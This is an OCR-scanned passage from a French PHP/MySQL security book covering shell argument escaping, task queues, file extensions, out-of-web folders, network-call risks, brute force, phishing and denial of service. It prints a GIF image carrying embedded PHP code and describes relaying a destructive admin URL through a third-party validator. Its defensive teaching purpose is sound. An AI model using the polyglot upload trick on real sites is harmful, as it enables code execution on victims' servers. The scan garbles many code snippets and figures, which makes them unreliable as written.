bibliotheque libre ecrite en PHP. En integrant 1' execution en interne a PHP, vous retrouvez 
le controle des ressources et vous identifiez aussi mieux les besoins de ces operations : 
creer un PDF n'est pas une operation immediate. 

Proteger les executables 

Si vous avez conclu qu'il ne sera pas possible de vous passer d'un executable externe a PHP 
pour faire fonctionner votre application, ne vous inquietez pas : c'est rare, mais ca arrive. 

La premiere precaution consiste a limiter les droits d'execution, de l'utilisateur PHP ou 
du serveur web. Sou vent, PHP utilise les droits de ce dernier pour executer les programmes, 
et tous ceux qui sont accessibles au serveur web le seront a PHP. 

Si vous devez utiliser un programme externe, il est done recommande de limiter Faeces de 
exec( ) et de ses cousins a cette seule application. Moins PHP pourra executer de commandes 
externes, mieux ce sera, y compris 1 s ou rm. 

Proteger les arguments 

Apres les applications, il faut aussi proteger les arguments de la commande, car le 
detournement de commande Shell est plus simple et plus puissant que le detournement de 
requetes SQL. II se base sur le meme concept d'injection, et les protections disponibles sont 
semblables aux defenses proposees pour les injections SQL. 

Pour cela, il existe en effet deux fonctions PHP : escapeshel lcmd( ) et escapeshel 1 arg( ). 

escapeshel 1 arg( ) travaille sur les arguments qui sont fournis a une ligne de commande. 
La fonction ajoute des guillemets simples au debut et a la fin de 1' argument, puis protege tous 
les guillemets simples de la chaine. Cela permet de neutraliser effectivement les chaines 
de caracteres pour en faire des valeurs neutres du point de vue Shell, escapeshel! arg() 
doit etre utilisee sur chaque argument, individuellement. 

escapeshel 1 cmd( ) protege tous les caracteres qui pourraient avoir une signification speciale 
dans une commande Shell. Les caracteres suivants seront proteges : #&; ' |*?~<> A ( )[]{}$\, 
\xOA et \xFF. ' et " ne sont proteges que s'ils ne sont pas en paire. Sous Windows, tous ces 
caracteres ainsi que % sont remplaces par une espace. 
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Utiliser une file de taches 

Pour limiter la consommation de ressources, il est recommande de mettre en place une 
file d'attente pour les taches. Au lieu de demander au serveur d'executer immediatement 
une tache, on inscrit le travail a faire dans une rile d'attente, par exemple dans une base 
de donnees. 

En plus du serveur web qui l'alimente, un demon surveille cette liste de taches, et lorsqu'il 
detecte une nouvelle tache, il l'execute. Une fois la tache terminee, il place le travail realise 
dans un systeme de stockage et passe a la tache suivante, ou bien se remet en veille. 

Cette approche permet de limiter la consommation des ressources a une seule occur- 
rence. Du point de vue de 1' architecture, elle permet aussi d' exporter le travail laborieux 
vers un (ou plusieurs) serveur(s) externe(s) : au lieu de faire tourner le demon localement, il 
est possible de le deporter sur d'autres machines independantes et dediees. 



Figure 9-3 

Limitation de la consommation 
de ressources par le site Webthumb 



Bluga.net WebThumb 

Web Page Thumbnails with API support. To gain access to all the featu 
Enter a URL to generate a thumbnail tram 

URL: | 
76S :' 

f Generate Thumbnail") Width and Height are the size of the window to view your page 




Registering gives you API access and free 250 credits a month, ac 
can be purchased at any time, and cost $20 for 5,000 credits or $51 
Brought to you by Joshua Elchorn and his AJAX and PHP btog 

Comments and suggestions can be left on the WebThumb updates pos 

LMs in Queue Lifetime Thumbnails Thumbnails Today API Thumbs Toda 

0 123281 174 106 



Le site de webthumb (http://bluga.net/webthumb/) met en pratique cette technique : le 
site propose la creation d'apercus de sites dans le navigateur Mozilla (figure 9-3). 
Chaque operation peut etre couteuse : chargement du site dans Mozilla, production des 
captures en differentes resolutions, publication des ecrans. 

Joshua Eichorn a alors choisi de mettre en place une file de taches. Apres soumission de 
l'URL a tester, une URL est fournie au visiteur, de maniere a pouvoir acceder a ses 
ecrans, me me si la generation prend plusieurs heures. 
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Structure d une application web 

Les applications web sont constitutes d'un ensemble de scripts et de contenus statiques. 
II faut faire la part entre les fichiers publics, qui peuvent etre diffuses, et les fichiers 
prives, qui doivent rester caches, car ils n'ont pas d'utilite directe pour les visiteurs. II est 
alors prudent de ranger toutes des donnees dans un abri inaccessible. 



Extensions de fichiers 

Les extensions sont utilisees par le serveur web pour savoir ce qu'il doit faire avec les 
fichiers qui sont demandes par l'utilisateur. 

Si le serveur repere un fichier .html, .png ou .gif, il va le transmettre sans modification. 
Si le fichier possede une extension de type . php ou . py , il sera transmis respectivement a PHP 
ou a Python pour etre execute avant d'etre envoy e au navigateur. Lorsque la configuration 
d'une extension n'est pas connue du serveur web, il envoie le fichier sans modification. 

.inc 

Dans la pratique, les bibliotheques d' inclusion, procedurales ou objets, se distinguent des 
scripts PHP executes par une extension differente : le choix classique est .inc. Or, il faut 
savoir que de nombreux serveurs web n'ont pas configure .inc comme etant un fichier 
PHP. Done, si on y accede directe ment via un navigateur web, on va obtenir le fichier de 
bibliotheque en clair : tout le code source. 

La bonne pratique est de laisser 1' extension .inc, mais d'ajouter malgre tout une exten- 
sion PHP : .inc. php. De cette maniere, vous etes certain que le fichier n'apparaitra jamais 
sans passer par PHP. Ce sera particulierement avise si vous publiez votre code sous forme 
d' application : vous protegerez ainsi vos utilisateurs d'un conflit de configuration. 

Ne donnez pas trop d'extensions a PHP 

Inversement, il est recommande de ne pas donner trop d'extensions a gerer a PHP, car ce 
dernier pourrait traiter du code PHP la ou on ne pense pas qu'il y en ait. En effet, PHP 
peut virtuellement traiter n'importe quel type de fichier : en fait, il publie sans modifica- 
tion le texte, binaire ou pas, et recherche ses balises. S'il trouve des balises PHP, il 
execute alors le code et le remplace par le resultat. C'est valable pour un fichier PDF, une 
image, un format proprietaire, etc. 

Par exemple, GIF est un format d' image qui illustre bien ce danger. Le format a ete concu 
pour que les images s'inserent dans des flux de donnees multimedias et done, il contient 
des indications de faille. De ce fait, le format GIF peut utiliser moins d' informations que 
ce que le fichier represente : en pratique, les informations qui ne font pas partie du format 
sont simplement ignorees. On pourrait done y stocker du code PHP, comme : 

GIF89a_ngyyy-Hjycey£°°y Ii'-g-¥QT-+y,, i +Y_01eO!YO_M£_Ip_EpJ}gc-il6giii_QL 
^<¥¥f650cwyQysti'_E-_<")I<?php phpinfoO ; ?> 
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Le navigateur sera parfaitement capable d'afficher 1' image et ignorera simplement le 
code PHP surnumeraire. 

Maintenant, si l'image est envoyee sur un site web PHP, a l'aide des fonctions de tele- 
chargement, et si les images GIF sont traitees par PHP avant d'etre affichees, le resultat 
ne sera pas celui qui est attendu. 

Le code GIF initial est traite par PHP comme du code HTML : il ne reconnait pas ses 
balises, alors le contenu est transmis au navigateur sans modification. En revanche, 
quand il rencontre le code PHP final, il l'execute et affiche le phpinfo( ) (figure 9-4). 

Voila un exemple de vulnerabilite PHP par les images. 



Figure 9-4 

Exemple de vulnerabilite 
PHP par les images 



System 


Darwin tutorwI PHP local 8.9.1 Darwin Kama! Vartlon 8 9 1 Thu Fob 22 20 55 00 PST 2007. 
rootxnu-792 19 15-1/RELEASE 0881388 


BuM DM 


Hb 182007 2128:18 


Conllgura 
Command 


Ajontgura' •••wUh-apn' '-pratliwAiar' -•win-ioonv' '-dlaaNa-ogr '-wnn-ourMiar^ooal' '- 
anafila Hp' •anaolawd'o'i' ■anabla-amr ' -anaoia »ant-iid -anawa mbiinno; -anawa- 
no»if anc tranj '-anaMa-aockatt' rhb-dif '-wdh-od' ong^rwuir tocar '--wltv 
Ipag-dir-Arar/locai' '--win Iraalypa-dif-Aiirtocal- '~wim-libiml-dir>Aiir*acar -wnhoui nmirpc' '• 
^nabla-haah' enable-Kdebug '••wim-jsoo -anabta-lrantlir -anaMa-pcnl" -with- 
mngm^jsftocal' --wiaisMpell' -w»iri-myaQlwu«r*ocalAny»q1-5 1 8-alpha-oax 10 4-1688' <Hri*> 
mysql-aock' -w^-friyaqli.AjMAocaWnyaql-5 1 B-alpha-oaxlO 4-IBB8*«vmy»ql contg' - 



GIF89a ncm^uy^ey/ExyV4ti'Q^W-H^„"-rY0ledryG WE \fj EpJKc-il6?in Ql<V 
^000; y-ysc E <T )\ 



PHP Version 5.2.1 




.phps 

Autre extension qu'il faut connaitre : phps. Cette extension de fichier declenchait automa- 
tiquement l'affichage du code source PHP, au lieu d'executer le script. 

Le site officiel de PHP, http://www.php.net/, utilisait cette extension pour afficher son 
code source. Le but etait de proposer du code propre et de montrer comment le groupe 
utilisait les technologies qu'il developpe. 

En regie generale, cette extension est une tres mauvaise idee. En fait, de nombreux visi- 
teurs de php . net « decouvraient » cette extension et envoyaient un message au webmestre 
pour signaler un probleme de configuration. Sur le site de php.net, il s'agissait d'une 
fonctionnalite volontaire. Sur votre serveur, cela peut ne pas etre le cas : pour eviter la 
meme mesaventure, verifiez done que votre serveur n'est pas configure pour prendre en 
charge ce type d' extensions. 

Cachez ces extensions revelatrices 

Enfin, dernier conseil : les extensions que vous utilisez sur votre serveur web indiquent 
aux pirates quelles technologies sont utilisees sur le site web. 

Vous pouvez masquer votre architecture en utilisant des extensions courantes a la place de 
celles de PHP, comme .html, ou meme utiliser des extensions volontairement mysterieuses, 
comme .po, ou fausses, comme .pi ou .py. 
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Sachez que c'est parfois deroutant, surtout pour ceux qui travaillent sur votre site. 



Un dossier hors Web 

Dans l'organisation d'une application web, il est recommande d'avoir un dossier hors 
Web, c'est-a-dire qui soit range hors de la racine web : il doit etre impossible d'acceder a 
ce dossier depuis un navigateur, via le serveur web. 



Vie privee de I'application 

Un tel dossier pourra abriter beaucoup de fichiers importants pour le fonctionnement 
d'une application web, mais qui n'ont pas besoin d'etre mis a disposition du public. En 
voici une petite liste, que vous pourrez completer a votre guise : 

• fichiers de configuration 

• fichiers de cache 

• fichiers temporaires 

• sessions 

• listes de mots de passe 

• bases SQLite 

• fichiers de logs 

• exports de donnees 

• fichiers en attente de moderation 

• bibliotheques de fonctions et classes 

• fichiers qui sont vendus depuis votre site 

• etc 

PHP est capable de manipuler des fichiers hors Web : lui-meme s' execute sur le serveur web 
et n'est pas considere comme un programme externe. II peut naviguer dans le systeme de 
fichiers, inclure des bibliotheques qui sont dans un autre dossier ou ouvrir des fichiers. 



Un dossier interdit au public 

Quand les fichiers sont inaccessibles du Web, vous etes a l'abri d'une erreur de manipu- 
lation des droits, ou d'un oubli de configuration qui publierait les codes source des scripts 
par omission. 

Vous pouvez identifier votre racine web dans phpinfoO. Pour Apache, il s'agit de 
D0CUMENT„R00T, dans la categorie des variables d ' en vironnement Apache (figure 9-5). Sous IIS, 
il faut rechercher 'D0CUMENT_R00T' dans la variable $_SERVER de PHP (figure 9-6). 
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Figure 9-5 

Variables 

d ' environnement Apache 



Apache Environment 



Variable 


Value 


DOCUMENT ROOT 


/Libra ry/WebServer,'Docunen*s 


HTTP ACCEPT 


T 


HTTP ACCEPT ENCODMO 




HTTP ACCEPT LANGUAGE 


| 


HTTP CONNECTION 


kaap-tfva 


HTTP HOST 


locainoti 


HTTP UMR AQENT 


MoMMjO (MacMloeh, u, mial Mac 08 X, fr) AppieWebKiWH (KHTML, Ma 
Oa<*o)8alaiW4l9 3 


PATH 


*ln^lnAjwtonAj»r/l6«Aiif/llbax»cySyit»m1.ltKa»v/CofeSaivloai 


REMOTE ADDR 


127.001 


REMOTE PORT 


61468 


SCRIPT FILENAME 


/Users/macDooK/Sile&Ui' pip 


SCRIPT URI 


hnp;/luio<i«<-phpiocaU-mact>ooliAgil.php 


SCRIPT URL 


MnacbooWBilpnp 


SERVER ADDR 


127001 


SERVER ADMIN 


| no address given] 


SERVER NAME 


lUIDftel php Joeaj 



R 9 ure9 - 6 PHP Variables 

Variables 



VsriiWt 


Value 


PHP SELF 


-nacOook'] 1 php 


SERVERr DOCUMENT ROOr] 


/Libr»ryA*»bServ»r /Documents 


SERVER!" HTTP ACCEPT"! 


•r 


SERVER ["HTTP ACCEPT ENCOOINO"] 


UV .1't'aln 


SERVERf HTTP ACCEPT LANOUAOr) 


IT 


sen vEnr http connection"] 


krrp rtlivc 


SERVERr HTTP HOST] 


locainoM 


SERVER|-HTTP USER AGENT" 1 


MoiMaA 0 (Medntoeh. U; ht-H Mac 08 X; tr) ApptsV/ebKIW 19 
(KHTML. like Oacxol Salart>4l9 3 


SERVERr PATH") 


/bin Jtt*n Aisr*in A/sr/sbin A/sMibenec .*3y«t»m,Lit>-iry 1 CoreS«-v-ce- 


SERVERr REMOTE ADDR") 


12700 1 


SERVERr REMOTE PORT"* 


61468 


SERVERr SCRIPT FILENAME") 


AJaaiMttactwoWSiiaaigilptip 


SERVERr SCRIPT URr] 


http ^mortal -pup JocalM-iaebooWgiiptip 


.SERVERr; SCRIPT.URL") 


A-macbooUgH.php 


SERVERr SERVER ADDR*] 


12700 1 


SERVERJ" SERVER *DV N ] 


|no address a .'en 


SERVERr SERVER NAME*] 


tuioriel-php local 


SERVERr SERVER PORT] 


80 


SERVER!" SERVER SIGNATURE' ] 


<ADDRESS>Aoacne/1 3 33 Server at tutonel-php local Port 
80</ADDRESS> 



Ce dossier sera le meilleur endroit pour accueillir les fichiers telecharges, avant leur 
publication. II est alors possible de controler leur publication via un script PHP : si le 
fichier est modere, PHP lit ce contenu et le publie sans modification. Si le fichier n'est 
pas publie, PHP afriche une page de remplacement. 
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<?php 

$fichier = valide_nom_fichier($_GET['fichier']) ; 
if (publie($fichier)) { 

$fp = fopent '/hors-web/' .$fichier, 'r+') ; 

passthru(Sfp) ; 
} else { 

echo 'Desole, ce document est en cours de validation' ; 

} 

?> 

Avec cette technique, on est sur que le document n'est publie qu'apres moderation et 
qu'il n'y a pas de contoumement possible puisque, sans PHP, le document n'est pas 
accessible. 

Sur un serveur partage 

La recherche d'un dossier hors Web sera probablement une quete vaine sur un serveur 
partage. En general, et sauf cas particuliers, les serveurs proposent un acces direct a la 
racine web, mais aucun moyen de sauver des fichiers hors Web sans les ranger dans le 
dossier temporaire : ce dernier etant accessible a tout le monde, il n'est pas un bon candidat. 

II faut done rester dans le dossier public et utiliser les droits d' acces pour limiter les 
lectures. En utilisant les outils a votre disposition, vous pouvez creer un dossier et donner 
les droits uniquement a l'utilisateur proprietaire. Cela donne ceci, sous forme de 
commande Unix : 

Shell > chmod 700 hors_web 

Sous forme graphique, avec un client FTP, cela donne quelque chose de similaire a la 
figure 9-7. 




Figure 9-7 

Droits du dossier 
hors_web 



80° hors.web Info 




General: 



Kind: Folder 
Size: — 
Where: /var/www/hors.web 
Created: n/a 

Modified: mer.. mai 23. 2007 3 36 PM 



Owner: -- 
Croup. -- 



Permissions: 



User: ^ Read ^ Write ^ Execute 
Croup: □ Read _ Write Z Execute 
World: □ Read _ Write Z Execute 



Octal: 700 rvvx ( Apply > 
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L'avantage de cette approche est que vous pourrez l'utiliser avec n'importe quel hebergeur. 
Le dossier est en fait parmi les autres fichiers. L'utilisateur peut y acceder, mais les autres, 
c'est-a-dire le groupe ou le reste du monde, sont bloques. PHP peut done lire les donnees 
et manipuler les fichiers a l'abri des regards. 

L' inconvenient est que le dossier hors_web est malgre tout publie en ligne. On peut tenter 
d'y acceder directement et on ne sera bloque que par un message d'interdiction. 

En allant un peu plus loin, il suffit d'une erreur d'inattention ou d'un oubli de configuration 
et les fichiers seront a nouveau accessibles en lecture a tout le monde. Cette situation 
n'est pas possible avec le vrai dossier hors Web, qui n'est pas publie par defaut. 



Acceder au reseau depuis PHP 

Dernier aspect important a prendre en compte dans la securisation du serveur : les acces 
aux ressources externes. PHP est capable de rapatrier localement des ressources reseau, 
comme des fils de depeches RSS ou des images, ou encore d'utiliser des services web 
distants. L' utilisation du reseau depuis PHP est facile, mais pas sans risque. 

<?php 

$rss = f ile_get_contents( ' http://www.nexen .net/backend. rss ' ) ; 



Appels sequentiels 

La premiere chose a bien comprendre est que lorsque PHP sollicite une ressource reseau, 
il s'arrete et attend que cette derniere ait livre les informations attendues. Tant que les 
donnees ne sont pas toutes arrivees, PHP attend. 

En general, un site web repond plutot vite et il n'y a aucun probleme. Lorsque le serveur 
ne repond pas, PHP attend jusqu'au delai maximum avant de conclure que le site n'est 
pas accessible. Cela peut prendre un temps assez long. 

Durant ce laps de temps, il n'y a pas moyen d'interrompre PHP. II n'y a meme pas moyen 
de configurer les delais d'attente lorsqu'on utilise des fonctions telles que fopenO, fileO, 
get_headers( ) ou f i 1 e„get_contents( ). Les extensions de socket sont plus genereuses en 
termes d' options. 

Separer PHP et le reseau 

Dans la mesure du possible, il est recommande de separer le serveur web des appels au 
reseau qu'il doit effectuer. La premiere recommandation est de stocker une copie locale 
de la ressource, arm de limiter le nombre de sollicitation du reseau. On peut utiliser un 
systeme de mise en cache simple, par exemple. 

Pour aller un peu plus loin, il est aussi possible de creer une file de taches pour les lectures sur 
le reseau. Au lieu d' aller immediatement rechercher les informations en ligne, elles sont 
stockees dans une table et un systeme externe independant se charge d'aller les lire. C'est 
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comme cela que fonctionnent les moteurs de recherche : ils enregistrent les URL soumises 
et les donnent a leurs robots de recherche. Cela permet de collecter rapidement de 
nombreuses URL et de les organiser pour le traitement. 

Attention aux denis de service 

Un deni de service base sur les fonctions de reseau de PHP est possible. Comme PHP 
attend la reponse du reseau, il suffit de ralentir la reponse du serveur distant et d' exploiter 
les delais maximaux d'attente de PHP pour occuper le serveur et interdire l'acces aux 
autres utilisateurs. 

Ce type d'attaque est sournois, car PHP ne consomme aucune ressource de maniere 
deraisonnable : en mode d'attente, il ne prend que peu de memoire et pas du tout de temps 
processeur. Contre ce type d'attaque, seule la file de taches est une protection efficace : 
c'est le demon externe qui attend indefiniment la reponse, et non plus le serveur web. 

Appels recursifs 

Parmi les fleaux qui affectent PHP depuis longtemps, il y a le rappel automatique du 
serveur. Le cas le plus classique est l'inclusion d'une bibliotheque, en indiquant le 
serveur local comme source : 

<?php 

include( 'http://localhost/bib1iotheque.inc.php' ) ; 

?> 

Cette bibliotheque peut s'inclure elle-meme : soit directement, soit indirectement via une 
autre bibliotheque secondaire. Dans ce cas, PHP appelle le serveur web local, qui charge 
un script demandant la bibliotheque qui charge le script initial : c'est un cercle vicieux. 
Le resultat final est que le serveur s'appelle lui-meme indefiniment, jusqu'a ce que tous 
les processus web soient occupes. Rendu a ce stade, le serveur web est en fait en train de 
s'attendre lui-meme et tous les utilisateurs sont bloques hors du site. 

La premiere recommandation pour se premunir de ce type de probleme est d'interdire 
l'inclusion distante de fichiers PHP, via incl ude( ) et requi re( ). II reste alors la possibility 
au serveur de s'appeler lui-meme via les autres fonctions reseau, comme fopenO, getima- 
gesize( ), ou curl . A l'heure actuelle, c'est la meilleure defense disponible. 

Une autre defense envisageable serait d'empecher le serveur de s'appeler lui-meme, mais 
il est tres facile de contourner ce type de politique : il suffit d'appeler un serveur proxy, 
de configurer un nom de domaine pour pointer sur le site original, ou encore de mettre en 
place une redirection sur un site externe pour que cette politique soit rendue inoperante. 

La methode la plus efficace est alors de mettre en place une file de taches pour separer le 
serveur web de la recolte des informations en ligne. 

Votre site masque une attaque 

Le masquage d'attaque consiste a utiliser une application legitime pour appeler un site 
web, afin de masquer l'origine reelle de 1' attaque. Pour cela, il suffit de rechercher les 
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services en ligne qui sollicitent des informations sur le reseau et de leur donner les URL 
a attaquer. 

Prenez un service comme celui du valideur du consortium du web, W3 : http : //val i dator . 
w3.org/. Lorsqu'on lui indique une URL, le valideur va chercher le code HTML a cette 
adresse, puis il valide le contenu du point de vue des standards. C'est tres ergonomique et 
pratique pour valider la structure d'une page : cela evite de copier/coller le code source 
de la page en permanence. Un simple rechargement du site du W3 permet de savoir si la 
page est effectivement validee ou pas. 

Maintenant, prenons un site victime, qui a mal protege son acces d' administration et 
permet d'effacer du contenu a l'aide d'une simple URL de type GET. Par exemple, cette 
URL fonctionnerait : 

http: //www. site. com/admi n/eff ace. php?id=33 

Apres avoir decouvert cette vulnerability, le pirate peut decider de ruiner le site 
www.site.com en effacant tout son contenu. Neanmoins, on verra apparaitre immediate - 
ment son adresse IP dans les logs, ce qui aidera a le demasquer. 

Pour se proteger, le pirate donne l'URL d'attaque au valideur W3C ; c'est ce dernier qui 
recherche les informations sur le site victime et, par inadvertance, declenche la destruc- 
tion des informations. 

Ce type d'attaque est possible a partir de toute application disponible sur le Web, qui 
charge des URL fournies par les utilisateurs : c'est le cas des outils de tests, des moteurs 
de recherche, des sites envoyant des depeches, des fichiers RSS, des outils de ping et 
trackback, des testeurs de liens, etc. Ces services sont faciles a trouver en ligne. 

II est difficile de se passer d'un service aussi pratique que le rapatriement d'une ressource 
distante. D'un autre cote, il est difficile de savoir si un site va repondre ou pas sans le 
sollicker directement. 

Pour se proteger, il faut mettre en place un maximum de tests avant de demander reelle- 
ment la ressource. 

Utilisez parse_url() et parse_str() pour decomposer une URL en elements simples. 
Attention, ces fonctions n'assurent aucune validation. II faut utiliser la decomposition 
des URL qui en resulte pour tester chaque element : 

• Est-ce que le protocole est bien HTTP ? ou HTTPS ? 

• Est-ce que le nom de domaine peut etre resolu en adresse IP ou pas ? 

• Est-ce que les arguments de requetes ou l'ancre sont bien utiles ? 

• Est-ce que cette URL n'est pas un peu trap longue ? 

Apres ces premieres constatations, il est possible de faire un premier test sur le site web 
en faisant une requete HEAD : dans le protocole HTTP, cela revient a demander unique- 
ment les informations d'en-tetes. Normalement, le site distant devrait alors retourner un 
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descriptif de la ressource demandee, mais pas de contenu. C'est la fonction get_headers( ) 
de PHP qui se charge de ce travail. 

Shell> php -r 'print_r(get_headers("http://static. php.net/ images/news/php-logo.gif")); ' 

Array 

( 

[0] => HTTP/1.0 200 OK 

[1] => Connection: close 

[2] => Content-Type: image/gif 

[3] => ETag: " -9182913567930923377" 

[4] => Accept-Ranges: bytes 

[5] => Last-Modified: Wed, 05 Jan 2005 22:40:06 GMT 

[6] => Content-Length: 2436 

[7] => Date: Mon, 19 Feb 2007 20:26:44 GMT 

[8] => Server: php-file-server 

) 
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Techniques de securisation 
des applications web 



Nous avons rassemble ici differentes techniques qui sont adaptees a la protection des 
applications web et ne sont pas specifiques a PHP et MySQL. 

Elles repondent a des menaces qui sont typiques d' Internet et pour lesquelles il faut 
mettre au point une reponse au niveau de la plate-forme d' application. Elles doivent faire 
partie de la trousse a outils de tous les programmeurs PHP et MySQL. 

Sans en sous-estimer l'importance, nous n'aborderons pas les attaques de reseau, qui sont 
hors du controle des applications PHP, pour nous concentrer sur les menaces specifiques 
aux applications web. 

Attaque par force brute 

Les attaques systematiques ou par force brute (brute force attack en anglais) sont proba- 
blement les attaques les plus connues, car les plus faciles a imaginer, et dont les impacts 
sont generalement les plus visibles. 

Fonctionnement de I'attaque 

Quand un site web exige un mot de passe administrateur pour identifier l'utilisateur, il 
faut connaitre ce mot de passe pour etre identifie, ou bien il faut le deviner et la tentation 
est grande de tester tous les mots de passe imaginables : en fin de compte, le nombre de 
mots de passe possible est enorme, mais il est fini. En essayant suffisamment de valeurs 
differentes, le pirate peut finir par tomber sur le bon, par hasard. C'est le principe de 
I'attaque systematique, ou attaque par force brute. 



J Mesures de securite pour les technologies connexes 

^t~PARTIE~4 

Attaque par dictionnaire 

Une attaque par force brute peut etre affinee a l'aide d'un dictionnaire. Le principe d'une 
attaque par dictionnaire est toujours le meme, mais les donnees sont desormais tirees 
d'une liste de valeurs possibles, classees en fonction de leur probability. Par exemple, ' ' , 
la chaine vide, et 'mysql ' sont des mots de passe etonnamment frequents pour un admi- 
nistrateur de MySQL. II est done plus efficace de commencer par tester ces valeurs, avant 
de passer a un mode plus systematique. 

Cette attaque exploite le fait que le serveur web traite les requetes HTTP independam- 
ment les unes des autres. Contrairement au guichet d'une banque, oil l'employe vous 
renverra manu militari si vous ne vous identifiez pas dans un delai assez court, un serveur 
web va patiemment vous demander a nouveau votre mot de passe jusqu'a ce que vous 
vous lassiez ou que vous le trouviez. 

La vitesse d' execution de ce type d' attaque est tres importante : pour reussir a decouvrir 
un mot de passe dans un delai raisonnable, il faut tester les mots de passe tres rapidement. 
Pour se defendre, il faut done savoir identifier l'attaquant, puis le gener et le ralentir dans 
son attaque. 

Identifier l'attaquant 

La solution au probleme d' identification consiste a marquer l'attaquant. Par exemple, on 
peut lui donner un cookie, ou bien utiliser son adresse IP. Ces deux techniques ne sont 
pas infaillibles. En effet, le pirate peut changer d'adresse IP facilement, via un proxy ou 
en redemarrant le modem de connexion. De plus, les utilisateurs d' AOL peuvent changer 
d'adresse IP entre deux requetes ; cela est du a la nature de leur reseau. Toutefois, le 
nombre de changements possibles n'est pas infini. 

Adresse IP 

Quand vous avez identifie une adresse IP qui effectue un nombre excessif de tentatives, 
voyez si votre serveur web peut etre configure pour l'ignorer. Par exemple, Apache dispose 
de commandes pour interdire l'acces en fonction de ces adresses. Le serveur s'appuie 
alors sur les directives <Directory>, <Files> et <Location>, ainsi que sur les directives loca- 
les enregistrees dans le fichier . htaccess. II est ainsi possible de poser des limitations par 
adresse IP, par User-agent, ou toute autre information disponible dans les en-tetes HTTP 
fournis par le navigateur. 

deny from 10.1.2.3 # interdiction d'acces a 1 'adresse IP 10.1.2.3 

deny from 10.1 # interdictions d'acces aux adresses IP commengant par 10.1 

C'est la methode la plus efficace pour bloquer un utilisateur distant, car e'est le serveur 
web et non plus PHP qui s'en charge. 
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Cookie 

Quant au cookie, il est vrai qu'il peut etre simplement ignore ou efface par le script du 
pirate. Cependant, il est etonnant de voir combien de robots d'Internet respectent les 
cookies et sont done enclins a le renvoyer comme on s'y attendrait. 

Dans tous les cas, e'est une protection qui est simple a mettre en place et qui pourra vous 
epargner quelques situations difficiles pour peu d' efforts : pourquoi s'en priver? 

<?php 

if ($_C00KIE['compteur'] > 10) { 
header("HTTP/1.0 404 Not Found"); 
die() ; 

} 

setcookiet 'compteur ' ,$_C00KIE[ 'compteur '] + 1, timet) + 3600) ; 
// suite du script 

?> 

Temporisation 

Enfin, une attaque par force brute a d'autant plus de chances de reussir qu'elle arrive a 
soumettre un grand nombre de valeurs possibles en peu de temps : bref, plus voire serveur 
reagit vite, plus il joue le jeu du pirate ! C'est dommage de passer tant de temps a optimi- 
ser PHP si c'est pour favoriser une attaque. 

Pour fatiguer le pirate sans vous gener, vous pouvez ajouter une temporisation dans la 
publication de la reponse de votre formulaire. Par exemple, si votre site repond en une 
milliseconde, le pirate pourra tester environ mille mots de passe par seconde. En revanche, si 
vous ajoutez un delai d'attente d'un dixieme de seconde, vous aurez reduit considerable- 
ment la vitesse d' attaque a 10 par seconde. Du point de vue des utilisateurs legitimes, ce 
temps d'attente sera rarement perceptible, car eux n'ont besoin que d'un ou deux essais 
pour s' identifier. 

Vous disposez alors des fonctions si eep() et usl eep( ) de PHP, qui suspendent l'execution 
d'un script pour une duree specifiee en argument, exprimee en secondes pour sleep( ) et 
en microsecondes pour usl eep(). 

<?php 

si eep( 1 ) ; // pause pour une seconde 
usleep(lOOOOOO) ; //pause pour une seconde 
usl eep( 100000) ; // pause pour l/10e de seconde 
?> 

Phishing 

Le phishing tient le haut du pave : a l'aide de 1' arsenal classique en ingenierie sociale, il 
parvient a leurrer un utilisateur legitime et a lui faire utiliser un site factice, prelevant au 
passage toutes les informations confidentielles dont il a besoin. 
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Injection d'intermediaire reseau 

L'attaque par proxy porte aussi le nom de phishing : c'est une attaque tres mediatisee, car 
elle s'en prend aisement aux grandes institutions. Le plus souvent, ce sont des banques, 
des services comme eBay ou Paypal, mais certains services gouvernementaux en ont ete 
recemment la proie. 

Le principe consiste a etablir un serveur proxy entre le client et le site legal, en realisant 
une copie du site officiel, sur laquelle le pirate attire la victime. En tant qu' intermediate, 
la copie va collecter toutes les informations en provenance de l'utilisateur, pour les 
envoyer au site web legitime. Elle note les reponses retournees par ce serveur et sert les 
informations a la victime. Du point de vue de l'utilisateur peu prudent, le site qu'il 
consulte reagit comme d'habitude, sauf peut-etre au niveau de la vitesse. Le seul indice 
disponible est l'URL utilisee, mais il est parfois trop tard. En fin de compte, le proxy aura 
collecte les informations d' identification du site, qu'il pourra reutiliser plus tard. 

Les serveurs proxy sont tres utiles sur Internet et ont ete inventes avec des intentions 
saines. lis servent de passerelles, de systemes de cache et de relais sur le reseau, et 
permettent parfois de compenser des bandes passantes limitees. Le phishing exploite les 
concepts des proxy, mais avec des intentions plus sournoises. 

Education des utilisateurs 

Pour s'en proteger, la premiere chose est d'eduquer les utilisateurs. On peut leur recomman- 
der l'utilisation de barres anti-phishing, comme celles de Netcraft (http : //www . netcraf t . com/), 
Google (http://www.google.com/tools/firefox/safebrowsing/). Microsoft s'est egalement 
dote d'un tel nitre recemment. II s'agit d'outils de base pour proteger les utilisateurs sur 
votre site et dans leur navigation en general. Plus les utilisateurs sont conscients de la 
menace de phishing, plus ils pourront identifier un lien ou un courriel potentiellement 
dangereux, ou bien un nom de domaine qui n'est pas le votre. 

La couverture utilisee par les phishings est la communication entre le serveur et 
l'utilisateur : un proxy ne perturbe pas les communications, ou aussi peu que possible. 
Un phishing s'en sert pour passer inapercu. 



Securisation des connexions 

Pour se proteger du phishing, le mieux est d' etablir une connexion securisee, de type 
HTTPS. Les communications sont alors chiffrees par SSL ou par un autre type de chiffre- 
ment et les donnees sont protegees durant leur transit pour garantir leur confidentialite. 

II faut bien s' assurer que la communication est initiee depuis votre serveur, et non pas 
depuis le navigateur : en effet, il est possible a un site de phishing d' etablir la connexion 
a la place du client legitime, puis d'ouvrir une autre connexion securisee entre lui et le 
client. Sous cette forme, la protection est momentanement interrompue au niveau du 
proxy pirate, qui peut prelever discretement les informations dont il a besoin. 
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Denis de service 

Le deni de service est un proche cousin des techniques d'attaque systematique, mais la 
finalite n'est pas la meme. La oil les attaques systematiques esperent obtenir des privileges 
particuliers en testant toutes les possibilites de mots de passe, les denis de service visent 
a bloquer l'acces a votre site en consommant toutes les ressources. Si une tache accapare 
un serveur entier, les autres utilisateurs seront alors penalises, ou bien devront composer 
avec un site particulierement lent. 

Avec cette definition, il est parfaitement possible de realiser un deni de service soi-meme : 
il suffit d'ecrire des scripts particulierement gourmands en processeur ou en me moire 
pour obtenir une application lente, mais exigeante. II est rare d'arriver a ce cas extreme, 
mais un script un peu mal ecrit va devenir une proie facile pour un pirate. 
Pour reussir un deni de service, il faut que le pirate identifie une partie de 1' application 
